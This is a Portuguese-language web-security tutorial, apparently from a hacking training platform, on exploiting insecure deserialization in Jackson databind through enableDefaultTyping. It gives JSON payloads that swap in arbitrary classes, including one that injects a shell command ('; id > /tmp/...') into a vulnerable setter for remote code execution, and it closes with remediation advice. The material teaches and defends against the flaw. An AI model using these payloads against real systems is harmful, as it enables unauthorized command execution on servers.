Explorando desserialização insegura no Jackson databind
Nesse artigo veremos sobre serialização e desserialização e como exploramos desserialização insegura no Jackson databind.
O que é Jackson databind?
O Jackson databind é uma biblioteca desenvolvida para aplicações Java, e muito utilizada em frameworks para desenvolvimento web, como o spring boot.
Essa biblioteca é responsável pela serialização e desserialização de dados no formato JSON. Com ela é possível transformarmos um JSON em um objeto do nosso código, e vice-versa (transformar um objeto em JSON).
Serialização com Jackson databind
Veja na imagem abaixo um código Java exemplificando como serializamos um Objeto do nosso código em um JSON utilizando o Jackson databind:
Esse treicho de código resulta em um JSON com as propriedades do objeto User:
Caso não esteja claro, a serialização é a nomeclatura que damos ao processo de transformar um objeto (dado binário) em uma string (dado ascii).
Código completo da rota:
Desserialização com Jackson databind
Veja na imagem abaixo um código Java exemplificando como desserializamos um JSON e transformamos o mesmo em um Objeto do nosso código utilizando o Jackson databind:
Esse treicho de código retorna o valor da propriedade "name" do Objeto "User":
Código completo da rota:
Detalhe importante: Na imagem abaixo, contém o código responsável pela declaração da variável "this.objectMapper":
A brecha do Jackson databind
No Jackson databind, existe uma função chamada "enableDefaultTyping", essa função coloca "tipagem" no JSON serializado/desserializado.
A imagem abaixo mostra um treicho de código que utiliza essa função na instância do "ObjectMapper":
Com essa opção habilitada, vemos que o nome do objeto é incluido em alguns JSONs. Exemplo na imagem abaixo:
Da mesma maneira que o objeto serializado tem tipagem, também podemos colocar tipagem JSON, assim quando a aplicação for fazer a desserialização do mesmo, ela vai seguir a tipagem especificada no mesmo. Com isso, temos a possibilidade de controlar propriedades, getters e setters de outros objetos da aplicação.
Conhecendo as classes do código
Na imagem abaixo, vemos uma classe que é responsável pelo carrinho de compras do usuário:
A propriedade "itens", recebe um array de strings, e a propriedade "user" recebe um Objeto (pelo fato de estar tipado como "Object", podemos especificar qualquer objeto da aplicação nessa propriedade).
Na imagem abaixo, vemos outra classe que é responsável pelo sistema de Logs da aplicação:
A propriedade "name" e "path" recebe uma string, porém o Setter configurado para a propriedade "path", seta o seu valor como "o setter foi chamado".
Nosso objetivo é: Controlar propriedades da classe "Log" através da desserialização do objeto "Cart".
Explorando desserialização insegura no Jackson databind
Vemos que o código da imagem abaixo recebe um JSON do Request Body, e faz a desserialização do mesmo:
Na linha onde ocorre a desserialização, o objeto "Cart" foi especificado como tipagem para o JSON, ou seja, precisamos enviar um JSON correspondente ao objeto "Cart".
Enviando JSON (objeto "Cart" serializado):
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.User",
{
"name": "John Doe",
"password": "password123"
}
]
}
Na propriedade "user", foi necessário especificar o path da classe "User", pois como visto anteriormente, a propriedade foi tipada como "Object", assim o código não consegue identificar qual objeto foi especificado na mesma, sendo assim, necessário especificar o path do objeto dentro do JSON (Isso só é possível pelo fato de que o enableDefaultTyping() foi utilizado).
Com o poder de especificarmos o tipo do objeto na propriedade "user", podemos especificar o objeto "Log", assim sendo possível manipular o valor de suas propriedades e acessar os getters e setters da mesma:
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "nome do log",
"path": "/tmp/example.log"
}
]
}
Vemos que o setter da propriedade "path" foi chamado.
Com o poder de acessarmos getters e setters de objetos arbitrários do código, temos a possibilidade de obtermos File Read, File Write ou até mesmo um RCE.
Veja na imagem abaixo um código que poderiamos explorar para obtermos RCE:
Vemos que o setter da propriedade "path" executa um comando no sistema e concatena o valor inserido na mesma dentro do comando executado. Com isso, podemos explorar um command injection através da desserialização.
Enviando um JSON que chama o objeto "Log" na propriedade "user", conseguimos criar um arquivo de log em nosso sistema manipulando as propriedades "name" e "path":
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "example.log",
"path": "/tmp"
}
]
}
Listando o diretório "/tmp", vemos que o arquivo realmente foi criado:
Porém, como dito anteriormente, podemos obter um RCE explorando um command injection através da desserialização. Para isso, podemos utilizar o ";" na propriedade "path" ou na propriedade "name":
{
"itens": [
"abacate",
"abacaxi"
],
"user": [
"com.example.demo.models.Log",
{
"name": "example.log; id > /tmp/example.log",
"path": "/tmp"
}
]
}
Listando e lendo o arquivo "/tmp/example.log", conseguimos obter o output do comando "id":
Corrigindo a desserialização insegura no Jackson databind
Nunca devemos utilizar a função "enableDefaultTyping()", pois ela permite com que o usuário controle a tipagem de objetos setados nas propriedades do JSON, e isso pode permitir com que ele acesse outros objetos do código, como vimos anteriormente.
Uma outra recomendação é sempre utilizarmos a tipagem correta para as propriedades das classes definidas no código. Como vimos anteriormente, a propriedade "user" da classe "Cart", foi tipada como "Object", ou seja, podemos especificar qualquer objeto da aplicação na mesma. Se tiparmos a propriedade com o objeto "User", não conseguimos mais manipular o seu tipo no JSON, mesmo que o "enableDefaultTyping()" esteja sendo utilizado.
A imagem abaixo mostra como ficaria o código com o patch aplicado:
Após o patch, se tentarmos especificar um tipo na propriedade "user", recebemos uma mensagem de erro:
Espero que tenham gostado! Nos vemos na próxima missão de web exploitation!
SmF2YSBpbnNlY3VyZSBkZXNzZXJpYWxpemF0aW9uIGlzIHRoZSBuZXh0IG1pc3Npb24u
Referências
Onde praticar desserialização insegura ?
Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.
O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.
Temos mais de 150 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.
Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!